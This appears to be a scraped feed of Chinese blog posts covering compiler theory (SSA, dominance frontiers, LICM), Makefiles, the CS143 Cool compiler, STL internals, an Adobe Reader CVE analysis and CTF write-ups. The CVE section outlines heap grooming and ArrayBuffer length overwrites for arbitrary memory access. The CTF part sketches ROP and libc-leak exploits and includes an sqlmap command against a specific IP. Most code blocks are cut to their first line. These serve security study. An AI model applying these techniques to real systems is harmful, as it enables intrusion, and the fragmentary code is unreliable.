,则原先的计算结果可以之间使用。
一个简单的例子:
1 | a = b + c // 生成表达式 b + c |
$f_B(x)=e$_ $gen_B\bigcup(x-e$_ $kill_B)$
$e\underline{ }gen_B$的计算
$e\underline{ }kill_B$的计算
可用表达式的数据流方程
注:$e\underline{ }gen_B$和$e\underline{ }kill_B$可以直接从流图中计算出,因此是 已知量
计算可用表达式的迭代算法
输入:流图G,其中每个基本块B的$e\underline{ }gen_B$和$e\underline{ }kill_B$都已计算出来
输出:$IN[B]$和$OUT[B]$
算法:
示例代码:
1 | virtual bool runOnFunction(Function & F) override final |
LLVM示例代码 - github
静态单一赋值(static single assignment,SSA),可以归纳成如下语句:
SSA是一种,每个变量在程序文本中最多分配一个值,的IR
也就是说,非SSA形式的IR里一个变量可以赋值多次。
SSA 简化了程序中变量的特性。
为了得到SSA形式的 IR,初始 IR 中的变量会被分割成不同的版本(version),其中每个定义(definition)对应着一个版本。通常会在旧的变量名后加上下标构成新的变量名,这也就是各个版本的名字。
显然,在 SSA 形式中,UD 链(Use-Define Chain)是十分明确的。也就是说,变量的每一个使用(use)点只有唯一一个定义可以到达。
SSA的优点:
Φ(Phi) 根据程序的执行流来确定赋的值是什么。请看如下IR代码
LLVM IR 指令
phi
用于实现SSA中的PHI节点。在运行时,phi 指令根据“在当前 block 之前执行的是哪一个 predecessor(前驱节点) block”来得到相应的值。
语法:<result>
= phi [fast-math-flags]<ty>
[<val0>
,<label0>
], …
在一个基本块中,Phi
指令前不允许出现非Phi
指令。
1 | %2 = icmp slt i32 %0, 0 |
注:此函数并不是一条实际的指令,需要编译器后端对其做相应的处理,从而得到正确的汇编代码。此过程名为
resolution
。
若需要启用SSA
,则必须在opt
命令中添加参数-mem2reg
。
mem2reg Pass
中的算法会使 alloca 这个仅仅作为 load 和 stores 的用途的指令使用迭代 dominator 边界转换成 PHI 节点,然后通过使用深度优先函数排序重写 loads 和 stores。iterated dominance frontier
算法,具体实现方法可以参看 PromoteMemToReg 函数的实现。以下述代码为例,程序在函数体结尾会将x的值赋给y。
1 | if(x < 0) |
那么在代码优化时,我们并不知道赋值于y的值是多少。所以引进了 Φ(Phi) 函数,并重命名了变量
1 | // 注:其中的x1,x2的数字都是下标。其本质上还是x |
总结:三步走战略
什么是支配边界?请阅读本文中 6. 流图中的循环 —— a. 支配结点与回边 的相关内容。
我们需要将 Φ 函数正确插入至代码块中。所以最关键的问题是 —— 插入至何处?
插入至 各个变量定值所在的基础块集合 的 所有支配边界 。详见下面的算法。
伪代码如下
1 | // @input defsite内含某个变量赋值的所有基础块、DominanceFrontier某基础块的所有支配边界 |
支配(Dominance):如果每一条从流图的入口结点到结点 B 的路径都经过结点 A, 我们就说 A 支配(dominate) B,记为 A dom B。
其中,A和B都为 支配节点(Dominator)
换言之, 如果A 支配 B,那么不可能不经过A就可以从入口处到达B。
一个基础块永远 支配自己( 严格支配 排除支配自己这种情况)
直接支配节点(Immediate Dominator): 从入口处节点到达节点n的所有路径上,结点n的 最后一个支配节点 称为 直接支配节点。
支配边界(Dominance Frontier):如果A支配了B的 任何 一个前驱基础块,但A并不 严格支配 B,那么B就是A的支配边界
支配边界确定了 Φ-function 的插入位置。由于每个definition支配对应的uses,所以如果达到了definition所在block的支配边界,就必须考虑其他路径是否有其他相同variable的定义,由于在编译期间无法确定会采用哪一条分支,所以需要放置 Φ-function
下面的图给出了一个示例,给出了图中的支配结点以及支配边界关系。
一旦有了支配边界,我们便可以计算出 Φ 函数正确的插入位置。
LLVM获取支配边界的示例代码
1 | virtual void getAnalysisUsage(AnalysisUsage & AU) const |
回边(back edges):假定流图中存在两个结点d和n满足d dom n。如果存在从结点n到d的有向边n -> d,那么这条边称为回边。
例子:
冗余:如果在通向位置p的每条代码路径上,表达式e都已经进行过求值,那么表达式e在位置p处是冗余的。
部分冗余:如果表达式e在到达位置p的部分(而非全部)代码路径上是冗余的,则表达式eee在位置p处是部分冗余的。
为了在很多执行路径中减少表达式被求值的次数,并保证不增加任何路径中的求值次数。我们可以通过移动各个对x op y
求值的位置,并在必要时把求值结果保存在临时变量中,来完成这个目的。
在流图中
x op y
被求值的 位置 可能增多,但只要对表达式求值的 次数 减少即可。
我们期望所使用的部分冗余消除算法进行优化而得到的程序具有如下性质
否则可能造成 非预期错误
尽量靠后表达式的计算时刻可以降低该值的生命周期,降低使用寄存器的时间。
通过在关键边上引入新的基本块,我们总是可以找到一个基本块作为放置表达式的适当位置来健减少冗余。
仅靠增加基本块可能不足以消除所有的冗余计算,必要时需要复制代码,以便于将具有冗余特性的路径隔开。
一个表达式的各个拷贝所放置的程序点必须 预期执行 此表达式
这个分析的实质是活跃性分析(对表达式)。
前提条件:已经计算出e_gen和e_kill集合
程序块的信息收集
注:下文中的英文名全部指代某个特定集合。
预期执行表达式分析(逆向数据流分析)确定一个表达式是否在某个程序点之后的所有路径中被使用。
可用表达式分析(前向数据流分析)计算了一个表达式是否在所有路径中都在该点之前被预期执行。
一个表达式的最前放置位置就是该表达式在其上被 预期执行 但 不可用 的程序点。
可后延表达式是通过前向数据流分析技术找出。
一个表达式的最后放置位置就是该表达式在其上 不可再后延 的程序点。
除非一个临时赋值语句被其后的某条路径使用,否则该赋值语句可以被消除。被使用表达式是通过逆向数据流分析技术找出。
利用从数据流计算推导出的知识重写代码
详细算法较为复杂,若有兴趣请移步《编译原理》
循环不变量代码移动指的是把循环中的所有重复执行替换为循环外的单次计算,从而优化程序。
具体操作就是将那些,所有操作数不在循环中改变的表达式,从循环内部移动到循环的前置首结点,避免重复计算。
前置首结点(preheader): 循环不变计算将被移至首结点之前,会创建一个称为前置首结点的新块。前置首结点的唯一后继是首结点,并且原来从循环L外到达L首结点的边都改成进入前置首结点。从循环L里面到达首结点的边不变
循环不变量的判定条件: 某个变量如果其表达式的所有操作数都是常量,或者是循环外部的变量,或者是循环内部已经被标定为循环不变量的变量,那么这条表达式被称为循环不变量。
循环不变语句s: x = y + z
移动的条件
意味着控制流无论流向何处,都一定会执行语句s
如何处理嵌套循环
计算循环不变计算的LLVM检测算法
1 | // 检查当前指令是否是循环不变量 |
对于循环不变量提取的代码优化,循环结构do-while
可以非常完美的工作,不需要修改CFG
原因是在消除冗余操作中,不应该执行任何在未优化时不执行的指令。
而do-while
语句保证了其循环体至少执行一次。这样优化代码时就可以不受此条件的限制。
至于那些LICM无法直接处理的循环结构,为了保证循环结构中的循环不变表达式可以被优化,编译器通常将循环结构转化为do-while
结构。例如:while
⇒ if & do-while
]]>LLVM示例代码 - github
make
便可轻松编译Makefile以下述的规则编写:
1 | # 目标文件:依赖文件 |
$(Variable)
的形式引用1 | VIR_A = A |
赋值符号
=
: 最容易出错 的赋值等号
1 | VIR_A = A |
最后VIR_B
的值是AA B
,而不是A B
。
在make时,会把整个makefile展开,最后决定变量的值
?=
: 如果没有被赋值过,则赋值等号后面的操作
+=
: 追加(append)
:=
: 正常 的赋值
特殊符号:
%
: 通配符
%0
: 执行时的第一个参数
$@
: 目标文件
$<
: 第一个依赖文件
$^
: 所有的依赖文件
$$
: 与$
等价
例子:
1 | a.out: a.c b.c |
注:函数调用中不能在参数中添加空格,因为空格也会被视为参数的一部分
addprefix
prefix
,<names...>
)1 | Variable := $(addprefix src/,foo bar) |
addsuffix
addsuffix
,<names...>
)1 | Variable := $(addsuffix .c,foo bar) |
basename
<names...>
)1 | Variable := $(basename src/foo.c src-1.0/bar.c hacks) |
notdir
<names...>
)1 | # 去除所有的目录信息,返回的文件名列表将只有文件名 |
shell
<myCommand>
并返回输出结果<myCommand>
)注:每行的shell都是一个单独的进程
1 | CXXFLAGS := $(shell llvm-config --cxxflags) |
subst
<text>
中的<from>
字符串替换成<to>
<from>
,<to>
,<text>
)1 | # 注:无需引号 |
wildcard
在Makefile规则中,通配符会被自动展开。但在变量的定义和函数引用时,通配符将失效。
<PATTERN...>
)1 | # 生成一个以空格间隔的后缀为.c的文件名列表 |
命令行输入make <targetFile>
即可对特定目标文件进行编译。
例:make all、make main、make clean(clean比较特殊)
1 | #获取.cpp文件 |
这次学习编译原理所使用的课程是Stanford的CS143编译原理课程,其中配套了Program Assignment Lab
编写相应的词法分析器flex
脚本,就可以输出一个对应的C++源码,将之编译即可得到lexer
flex
脚本中,我们主要编写的是正则表达式的匹配规则,匹配对应的字符串,返回一个个的token
。
lexer通过正则语法,将对应读入的词转换为一个个的token
在词法分析这个过程中,可以过滤出比较明显的错误,例如
ASCII < 32
的各种控制符号以及特殊的转义字符等等\\
转义反斜杠不该出现在字符串双引号之外一个简单的例子
1 | /* 编写正则表达式 */ |
正则表达式的规则很容易理解,但是正则表达式并不能直接用来解析字符串,所以还要引入一种适合转化为计算机程序的模型 —— 有穷自动机(finite automation,FA)
flex的核心就是自动机。
NFA与DFA 等价,且NFA 可以转化为 DFA
flex所生成的代码,其大致流程为:
yy_nxt
状态表与yy_current_state
当前状态,跳转至下一个状态yy_accept
动作表中确定yy_act
动作yy_act
执行特定操作(用户定义的操作或异常捕获)注:状态表等是自动机中的重中之重。
参考
parser,一般是指把某种格式的文本(字符串)转换成某种数据结构的过程。
之所以需要做这种从字符串到数据结构的转换,是因为编译器是无法直接操作“1+2”这样的字符串的。
实际上,代码的本质根本就不是字符串,它本来就是一个具有复杂拓扑的数据结构
对于程序语言,这种解码的动作就叫做 parsing,用于解码的那段代码就叫做 parser
语法分析所使用的工具通常是bison
,bison
与flex
类似,核心都是 自动机,但其处理方式又有所不同。
bison
所使用的是自底向上,左递归的分析方式。
在语法分析这个过程中,可以过滤出一些不符合语法的错误,例如token排列不符合条件,无法规约。
在这种情况下必须进行错误处理程序,将token弹出栈(或者其他操作)。
语法分析所得到的结果是一个AST抽象语法分析树。它只是一个由Token简单组合起来的树,仍然需要二次处理。
一个简单的例子
1 | /* If no parent is specified, the class inherits from the Object class. */ |
参考
将基础类(Object
,IO
,String
,Bool
),添加至classTable中
将用户定义的类,添加进classTable中
检查是否有不正确的类继承。即检查是否存在某个类继承了一个 未声明或无法被继承 的类等等。
将所有类按照继承关系建立 继承树 。例如:
graph TB;Object --> String;Object --> Int;Object --> IOObject --> BoolObject --> AIO --> BC --> DD --> EE --> C
InheritanceNode
是类继承的基本单元。每个InheritanceNode
都和一个cool语言中的类绑定。同时每个InheritanceNode
中都存在一个指向Environment
的指针成员。
从根类(即从Object
类)开始,自顶向下递归设置InheritanceNode
为 “可到达的”。
遍历全部类,判断是否有InheritanceNode
是 “不可到达的” 。 如果存在,则说明类继承关系中存在环,报错终止。(例如上图)
注意:由于cool语言是单继承的,每个类都只能继承一个类。所以这种判断是可行的。
递归建立feature_table
。从 继承树 的根开始(即Object
类),自顶向下递归建立每个InheritanceNode
中Environment
的feature_table
。该操作会将cool语言中,每个类内的attribute
和method
均添加进表中。
当父节点的feature_table
建立完成后,子节点便会复制父节点的Environment
,并在其上进行添加操作。这样,父节点的属性自然就包含于子节点的属性中。
检查是否存在Main
类以及main
方法。
递归进行类型检查。从 继承树 的根开始,自顶向下 检查每个类的类型,检查是错误,以及为AST添加缺失的类型信息。
在每个类中,类型检查是 自底向上 的,由节点较低的类型生成节点较高的类型,如此反复直至树根。其中需要捕获大量的错误,以及正确处理变量的作用域等等。
语义分析结束,输出完整的AST。
以cool语言为例,在生成目标代码前,需要先读入AST树的相关信息,重建继承图,并自上而下的初始化相关的映射表格
在该初始化过程中,每个类会遍历其中的feature
,并将其相关信息添加至对应的SymbolTable
中
如果该feature
是method
,则还会额外自顶向下计算所需要的最小临时变量数量,并将其添加进表格中。
初始化过后就是生成代码,这个步骤会执行以下几个过程:
声明全局变量。例如以下mips汇编代码:
1 |
|
声明GC器。例如以下汇编代码:
1 | _MemMgr_INITIALIZER: |
将常量输出(例如:数字,字符串,布尔常量),例如以下部分汇编代码
注意:数字常量包括
0
,字符串常量包括空字符串""
1 | 1 # eye catcher for _gc_check - |
将所有类的名称输出。例如以下汇编代码:
1 | class_nameTab: # 这一个个的str_const都指向特定的字符串 |
将所有类中的object table输出(未知用途,删除后仍然可以执行)
1 | class_objTab: |
将每个类所含的方法输出(包括该类的继承类中的方法),例如以下汇编代码
1 | Main_dispTab: |
将每个类的类型信息输出。protObj
中含有当前类的属性以及函数表。例如以下部分汇编代码
1 | 1 # -1 header for the garbage collector(eye catcher for _gc_check) - |
声明全局代码段的相关信息,例如以下汇编代码
1 | #声明堆的相关信息 |
输出每个类的初始化函数的代码,例如以下汇编代码
1 | String_init: |
输出每个类中的函数代码(示例代码就不放出来了)
在给出的课程文件夹中,文件trap.handler
是一个不可或缺的存在。相当一部分重要函数被定义在其中,例如out_string
以及垃圾回收器GC
等等。
mips汇编的执行流程如下:
__start
__start
中,初始化垃圾回收器GC
_exception_handler
异常处理程序Main
类,并将其保存至栈上Main.init
进行初始化Main.main
exit
退出所以在生成main函数的代码时,不需要额外调用abort
,只要将其视为一个普通的函数调用就好。
trap.handler
中的函数,其参数传递方式为寄存器传递,与约定俗成的压栈传递有所不同,在阅读源码时注意甄别。
在生成的mips汇编代码中,当调用另一个函数时,程序会
dispatch_table
jalr
无条件跳转在mips汇编代码中,当调用new时,会执行以下流程
1 | la $a0 IO_protObj # 将待生成对象的静态地址赋给$a0 |
即,整个过程结束时,$a0
指向新建的类对象
self
指针($s0
)的改变过程
Main
类被新建出来后,$a0
便指向堆上所复制出Main
类的地址Main.init
初始化(参数$a0
指向堆上复制出的类)。之后执行Main.main
函数。$a0
都存放当前函数所属类的地址。故我们可以认定,$a0
是类成员函数的隐藏参数,与C++类中的this
指针类似,都是指向此函数所属的类。函数开始时,$s0
会先将上一个类地址存进栈中,然后将当前类地址$a0
赋给$s0
,使$s0
指向新类的地址。
为什么要将
self
放至callee save
的寄存器中呢?请看下述代码:
1 | class A{ |
当执行
A.func
函数时,其old $s0
指向Main
类,而传入的$a0
指向A
类。所以$s0
需要在函数中保存。
之后$a0
便作为中间寄存器,参与当前函数中的表达式计算过程。
在当前函数中调用函数,则会取得$s0
的相对偏移处的类函数表dispatch_table
,并根据特定偏移取得待调用函数的地址。若是取当前类中的成员变量,则同样使用$s0
取得protObj
中的成员信息。
1 | Main_protObj: |
函数返回时,将$s0
重新赋给$a0
,并将$s0
恢复至上一个类地址。
这一整个流程下来,$s0
和$a0
的值不变,函数执行前与函数执行后的值一致相同。
cool-mips中的GC
cool语言的cgen
在传入不同的参数下可以选择使用的GC类型(也可以不选)
1 | /* handle_flag.cc */ |
当cgen_Memmgr == GC_GENGC
时,_GenGC_Assign
函数只在AttributeBinding::code_update
中被调用,以记录成员变量的赋值操作至assignment table
assignment table
用于分代垃圾回收。由于尚未学习GC的相关算法,故具体细节暂不追究。
当cgen_Memmgr_Debug == GC_DEBUG
时,_gc_check
函数会被频繁调用,以检测对象的eye catcher
是否存在。具体细节请查阅下述伪代码。
这个check的用意,私以为是对特定变量进行检测,防止heap chunk的 重叠/被覆盖
1 | // $a1 存放 堆上某个对象的起始地址 |
_GenGC_Collect
方法会在Object.copy
函数中内部调用,以分配一块堆内存
描述每种文法(LL(1),SLR, LR(1), LALR等…)的使用条件,和它是为了解决什么问题?
LL(1)
:SLR
:LR(0)
没有考虑文法符号的上下文环境,当进入任何一个规约状态时,总是会采取规约动作,这会造成 归约-移入冲突。而SLR
限制了规约条件,也就是当进入规约状态时,只有当下一个符号属于规约项目的FOLLOW集时,才可以进行规约动作。LR(1)
:LR(1)
自动机的高状态数所带来的影响。SLR
只是简单判断下一个输入符号是否属于规约项目的FOLLOW集,只能排除不合理的规约而不能确保正确的规约。而LR(1)
引入 后继符 这个概念。后继符集合是FOLLOW集的子集,故可进一步限制了规约的条件。LALR
:LR(1)
根据展望符集合的不同,将原始的LR(0)
项目分裂成了不同的LR(1)
项目。这会增大LR(1)
自动机的状态数。而LALR
将相同核心的LR(1)
项集合并为一个项集,从而减少自动机的状态数。可以将cool语言的语义分析中
!type_leq(type2, nd->get_name())
修改为type_leq(nd->get_name(),type2)
吗?为什么?
先试着改了然后编译,发现错了五个,很明显是改不了的
那为什么是改不了的呢?我们需要从type_leq
这两个函数的功能开始说起
type_leq
的功能是,查找supertype
是否位于subtype
的传递链中。以下图为例:
graph LR; OBJECT-->A OBJECT-->B; B-->C;
type_leq(C, B)
会返回true
type_leq(C, A)
返回false
这就涉及到一个有趣的问题,当A <= B
为false
时,是否就一定是A > B
呢?反之亦然呢?以上面的两条代码为例,我们可以很容易的得到:
type_leq(B, C)
为false
,则type_leq(C, B)
为true
type_leq(C, A)
为false
,则type_leq(A, C)
仍为false
很明显,A
和C
无论如何也没有从属关系,所以这两个类型是 没办法比较 的。既然都没办法比较了,那就更无从谈起谁大谁小了。所以无论A <= C
还是 C <= A
都是false
。
所以, type_lub
里的那条语句是无法替换的。
Adobe Acrobat Reader DC使用SpiderMonkey(可能是24.2.0版本)作为其JavaScript引擎。
ANSI
字符串和Unicode
字符串ANSI
字符串由一系列ANSI
字符组成,其中每个字符编码为8位值;Unicode
字符串由一系列Unicode
字符组成。UTF-16
编码的Unicode
字符,其中每个字符编码为16位值。ANSI
字符串的结束符是\x00
, Unicode
字符串的结束符是\x00\x00
character | UTF-16 Encoding | Little-Endian | Big-Endian |
---|---|---|---|
中 | U + 4E2D | 2D 4E | 4E 2D |
文 | U + 6587 | 87 65 | 65 87 |
UTF-16
字符串,可以在字符集名称中指定字节顺序。例如,UTF16LE
表示字节顺序是little-endian,而UTF-16BE
表示字节顺序是big-endianU+FEFF
来指定字符串的字节顺序UTF-16 String | Little-Endian | Big-Endian |
---|---|---|
中文 | FF FE 2D 4E 87 65 | FE FF 4E 2D 65 87 |
注意:
BOM
字符将始终位于字符串的开头。把它放在别的地方是没有意义的。
BOM
字符不唯一。FE FF
是BOM
字符,而图中的EF BB BF
也是BOM
字符这里只列举其中的一个函数:strncpy
大部分认为strncpy
会比strcpy
更安全,原因是strcpy
中的第三个参数指定了处理数据的大小
1 | char *strncpy(char *destination, const char *source, size_t num); |
在大多数情况下,这看上去是正确的。但在处理一些特殊的情况时,它仍然很不安全。
如果源字符串的长度等于或大于第三个参数num的值,则不会将在目标字符串的末尾添加NULL字符。
而在处理没有终止符的字符串时,它将导致越界访问。以下是strncpy
的源代码(来自glibc-2.23):
1 | char * |
这是为什么呢?原因是strncpy
在设计时本来就不是strcpy
的安全版本。
strncpy_s
是微软实现的一个安全增强版本。在将内容复制到目标缓冲区时,这些函数总是确保可以追加终止null
字符。否则,操作失败,将调用无效的参数处理程序。
如果错误地使用了字符串处理函数的安全增强版本,则不能保证它们是安全的。例如,如果开发人员将错误的值作为目标缓冲区的大小,即使是函数strcpy_s
也可能导致缓冲区溢出。
1 | char src[32] = { "0123456789abcdef" }; |
adobe acrobat reader DC实现了一些增强的安全字符串处理功能,例如以下部分函数:
Generic API | ANSI Version | Unicode Version |
---|---|---|
strnlen_safe | ASstrnlen_safe | miUCSStrlen_safe |
strncpy_safe | ASstrncpy_safe | miUCSStrncpy_safe |
在处理字符串时,通用api将检查字符串的类型并将请求重定向到相应的函数。下面的代码展示了函数strnlen_safe是如何工作的:
1 | unsigned int strnlen_safe(char *str, unsigned int max_bytes, void *error_handler) { |
在当前情况下,函数根据字符串的前两个字节检查字符串的类型。如果第一个字节是0xFE,第二个字节是0xFF,则该字符串将被识别为Unicode字符串,否则将被识别为ANSI字符串。而实际上,FE FF
是 BOM的大端序标记字符
触发漏洞需要满足以下两个条件:
检查字符串的类型时可能会引发类型混淆。如果前两个字节是FE FF, ANSI字符串可以被识别为Unicode字符串。这可能导致越界访问,因为在ANSI字符串中找不到Unicode null终止符。例如以下表格:
char | . | . | F | a | k | e | U | n | i | c | o | d | e | . | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
HEX | FE | FF | 46 | 61 | 6B | 65 | 20 | 55 | 6E | 69 | 63 | 6F | 64 | 65 | 00 |
开发人员不正确地使用了通用api。在大多数情况下,目标缓冲区的大小将设置为0x7FFFFFFF。如之前所述的那样,这可能会导致安全问题
1 | strnlen_safe(a2, 0x7FFFFFFF, 0) |
UAF
漏洞可以进行代码执行。注:
CVE-2020-3804
与该CVE
漏洞原理与漏洞补丁等等大致相同,本文中将不再赘述。
此漏洞会被以下JS代码所触发
1 | // Tested on Adobe Acrobat Reader DC 2019.010.20069 |
当ANSI
字符串被作为Unicode
处理时,越界读取将会被触发,原因是处理函数无法找到Unicode
字符串的终结符\x00\x00
以下为miUCSStrlen_safe
函数源代码
1 | unsigned int miUCSStrlen_safe(wchar_t *src, unsigned int max_bytes, |
该漏洞是在为字段对象分配用户名属性时触发的。关键的部分是原始字符串将被复制到新创建的堆缓冲区中,该缓冲区将与属性相关联。
这意味着我们可以通过JavaScript代码读取泄漏的信息。下面的代码显示了简化的漏洞模型。
1 | // src <- field.userName <- "\xFE\xFF....." |
NULL
字节(实际上4个)至堆缓冲区的末端。ANSI
字符串是由函数miUCSStrlen_safe
处理的,它也会正常工作,因为Unicode-NULL
终止符总是可以被找到。此漏洞会被以下JS代码触发
1 | // Tested on Adobe Acrobat Reader DC 2019.010.20099 |
与上面的CVE相同,之所以可以触发越界读写,是因为处理ANSI
字符串时无法找到Unicode
终止符。
以下是miUCSStrcpy_safe
源代码:
1 | signed int miUCSStrcpy_safe(wchar_t *dst, unsigned int max_bytes, |
该漏洞在调用Collab.unregisterReview
函数时被触发。关键的部分是原始字符串将被复制到新创建的堆缓冲区中,该缓冲区的大小是通过调用ASstrnlen_safe
计算的。但是复制请求是由函数strcpy_safe
处理的。下面的代码显示了简化的漏洞模型
1 | // src <- arg of unregisterReview / unregisterApproval |
所以,我们需要通过控制内存的布局来利用这个漏洞,以达到任意地址读写的目的
ArrayBuffer
对象在任意读写时起到了很大的作用。
当该对象中的成员byteLength
>0x68
时,该对象的后备存储将从系统堆中分配。
堆内存分配时,所分配的缓冲区会比之前大0x10
。这部分0x10
大小的内存用于存储ObjectElements
中的变量。
新建大量的字符串和ArrayBuffer
对象来占据内存。在这里我们创建了五个对象作为一个单元。
1 | ┌─────────────┬─────────────┬─────────────┬─────────────┬─────────────┐ |
将第一个和第三个内存区域释放,以创建大量的内存空洞
1 | ┌─────────────┬─────────────┬─────────────┬─────────────┬─────────────┐ |
使原始字符串的堆缓冲区分配到其中一个单元的第一个内存空洞,目标堆缓冲区分配到其中一个单元的第二个内存空洞。
1 | ┌─────────────┬─────────────┬─────────────┬─────────────┬─────────────┐ |
通过strcpy_safe
函数漏洞的越界拷贝,覆盖第四个ArrayBuffer
的成员byteLength
为0xFFFF
。
其中,String的内容(每个单元中的第二个对象)将用于覆盖byteLength
。
之后通过该单元中的第四个对象(被覆盖byteLength
后的ArrayBuffer
),修改单元中的第五个对象(也就是图中的最后一个ArrayBuffer
)的byteLength
为0xFFFFFFFF
,以取得全局读写权限。
1 | (2)byteLength to 0xFFFF (4)Global Access |
一旦获得了全局读写权限,我们就可以向后搜索来计算ArrayBuffer
对象的后备存储缓冲区的基址,从而获得任意地址读写权限。
一旦获得了任意读写权限后,就很容易实现代码执行。之后要做的就是下面这些操作,本文中不再赘述。
该漏洞已在adobe acrobat reader DC 2019.012.20034 版本中被修复。
在堆缓冲区的末尾增加了两个额外的NULL
字节(总共3个)。
1 | void *__cdecl sub_2383F4F8(int a1, int a2) { |
这个补丁只能阻止漏洞被利用。POC仍然可能造成进程崩溃,因为如果目标堆缓冲区不够大,那么就无法存储Unicode
字符串结束符。
1 | // src <- arg of unregisterReview / unregisterApproval |
该漏洞最终在adobe acrobat reader DC 2019.021.20047版本中得到修复。通过为目标堆缓冲区分配2个额外字节来存储Unicode
字符串终止符,解决了这个问题。
1 | void *__cdecl sub_2212A50B(char *src) { |
白皮书后剩余的
CVE-2020-3805
由于原理与上述两个漏洞大致相同,故不再赘述。
ANSI
字符串被 本用于处理Unicode
字符串的函数 错误操作,其中以strnlen_safe
为代表。ANSI
字符串中找不到Unicode
字符串终结符,所以会造成越界 读/写,形成了一种漏洞模型,产生了4个CVE
。NULL
字符,防止越界。]]>
Canary
保护environ
处指向程序名称的指针为flag地址,并通过___stack_chk_fail
将剩下一处flag打印出来就好实际上如果三处flag都被覆盖,仍然有办法可以得到flag。
完整exp在pwn部分最后
1 | if ELFname == "./secret_of_girlfriend": |
write(0, got['write'], rdx)
,泄露出write的libc地址和libc版本,进而计算出system的libc地址vuln
函数system(“sh”)
,注意别忘记canary。sh
字符串截取自程序LOAD
段上的flush
字符串。(如果没记错应该是LOAD
段)完整exp在pwn部分最后
1 | if ELFname == "./frame": |
注意: 执行Read/Write函数时,
$rdx
必须要大一点,否则无法读取/写入对应的目标
但程序中没有关于寄存器$rdx
的gadget,所以需要多次返回至vuln函数来重置$rdx
为较大的值
1 | if ELFname == './rdw': |
__libc_start_main_ret
地址,从而泄露出libc基地址与libc版本__libc_start_main_ret
所处的栈地址1 | if ELFname == './repeat': |
当初忘记还要写WriteUp,否则EXP就不会这么难看了 T_T
1 | # -*- coding: utf-8 -*- |
1 | 144 sqlmap -u http://106.15.207.47:22001/\?id\=1 |
1 | from hashlib import sha512 |
一开始想通过cheatEngine修改血量或者金钱的,但没成功
实际上只要在配置文件内修改马老师
的HP为10,然后再随便打几枪,马老师就倒了,flag到手
不直接修改为0,是担心这样做可能会导致程序产生某种异常
将game/www/data/Map001.json
中的hp
数值更改为10就好
把docker镜像pull并开启
执行env
命令,发现
执行cat /root/.ash_history
, 发现(单击图片可放大)
执行一下得到
由于docker中没有查找文件的指令(也可能是我太菜了T_T)
所以就直接在本地找了,本地当前镜像的位置为/var/lib/docker/overlay2/913d61dbe4dd3eb16cc351295c8a3a7e8ba08c988f59503da36ea6488f2c4c32/merged/
执行tree -a
,在docker中的/usr/share/apk/keys/x86_64/
发现目标文件whalefall.tar.gz
解压压缩包,发现该压缩包内含一个加密压缩包。最外围的压缩包里有一个名为maybe_there_is_another_hint_in_usr
的文件名,返回/usr
中继续查找
在/usr/lib/engines-1.1/controls
中发现hint3
,该文件里内含一段被Ook!
编码过后的信息。处理一下得到压缩包密码Dockerhub_1s_a_n1ce_place
解压加密压缩包,得到一张图片。010Editor打开发现末尾的morse
编码
1 | -.. --- -.-. -.- ...-- .-. .... ..- -... .---- ... .... .- .-. -.. - ----- .-.. ----- --. .---- -. ..... ..... ..... |
在线解密后得到一串字符串DOCK3RHUB1SHARDT0L0G1N555
包上ACTF{}
外壳后提交即可
总结:多层套娃
程序会在读取输入之后,将一段特定的数据写入栈上
就是下面这段
程序会将输入的数据经过处理,在处理结束后判断处理结果(其位于$rsp+8
)是否为curiosity
。
如果是,则给出flag
在switch
中能修改处理结果的操作只有异或。
所以我们必须通过switch
中的其他分支来控制与其异或的另一个变量
先把每次异或的目的值计算出来
1 | 0x70 ^ ord('c') == 19 |
然后再根据switch其他分支修改变量v11
XXCCF
: (70 >> 2
) + 2
== 19JXXCCCCCF
:2
) & 0x7F == 495
== 54CF
: 54 + 1 == 55XF
: 55 >> 1 == 27XXXCCMCCCCCF
:3
) + 2
== 55
== 45XXXXCCF
: (45 >> 4
) + 2 == 4MJMCCCCCF
:5
== 69XXXCCCCCCF
: (69 >> 3
) + 6
== 14XCMCCCCCCF
:6
== 70综上,EXP为 XXCCFJXXCCCCCFCFXFXXXCCMCCCCCFXXXXCCFMJMCCCCCFXXXCCCCCCFXCMCCCCCCF
成功得到flag
程序只会在一处地方验证flag
所以只要分别把图里的变量v3
和变量s
dump出来,然后爆破就好
EXP
1 |
|
先字符串搜索,定位到关键代码
发现username
校验代码段,对关键数组再次异或即可得到username
发现password
校验代码段,这里采取爆破的手段
不过在爆破前,需要先把三个关键数组的数据dump出来
坑点: 这里有两个特殊的判断条件。为什么特殊呢?
因为这两个判断条件是永远不会成立的(如果想拿flag的话)。
如果想进入内部代码的话,只能通过跳转标签来进入。
EXP
1 |
|
注意:无论是为什么类型分配内存,分配器都 只是分配内存,而不执行构造函数
stl_alloc.h
等。__malloc_alloc_template
,即时分配即时释放,__default_alloc_template
,小型内存池。malloc
和free
来满足用户需求。迭代器的相关实现 (源码位于stl_iterator.h
和stl_iterator_base.h
)
1 | template <class _Category, class _Tp, class _Distance = ptrdiff_t, |
迭代器又细分为以下几种类型
1 | // 迭代器的tag。对应类型的迭代器中,其iterator_category就是对应的tag |
迭代器中的iterator_category
和value_type
等等,它们只是类型名。那么迭代器是如何将这些信息返回给调用者呢?
实际上,SGI STL灵活的使用了模板参数推导的特性来完成这些任务,例如如下代码
1 | // iterator_category |
当不同类型的指针使用宏定义__VALUE_TYPE
时,由于模板参数推导的特点,程序会调用参数类型相匹配的函数。既然参数类型匹配,那么返回的也一定是匹配的类型。
Traits
技术(重中之重)
iterator_traits
iterator_traits 技术用于萃取出iterator的对应类型,例如value_type
、iterator_category
等等。
iterator本身便可以使用对应宏定义(例如__VALUE_TYPE
)来取出对应类型。但原生指针并没有这些方法,所以需要套一层iterator_traits
,让iterator_traits
“帮助”原生指针,将所需的相关信息返回给调用者。
iterator_traits
相关源码
1 | template <class _Iterator> |
可以看到,iterator_traits
对待iterator和原生指针的方式,是不一样的。
type_traits
iterator_traits
技术只能用来规范迭代器,对于迭代器之外的东西没有加以规范。所以type_traits
就应运而生。
iterator_traits
是萃取迭代器的特性,而__type_traits
是萃取型别的特性。__type_traits
有如下几个类型
has_trivial_default_constructor
—— 是否使用默认构造函数has_trivial_copy_constructor
—— 是否使用默认拷贝构造函数has_trivial_assignment_operator
—— 是否使用默认赋值运算符has_trivial_destructor
—— 是否使用默认析构函数is_POD_type
—— 是否是POD
类型__true_type
或__false_type
结构其相关源码如下
1 | struct __true_type {}; |
应用
为什么迭代器要分这么多的类型呢?原因是为了实现STL速度与效率的提高。
根据迭代器的类型,算法可以对该种类的迭代器使用效率最高的操作方式。
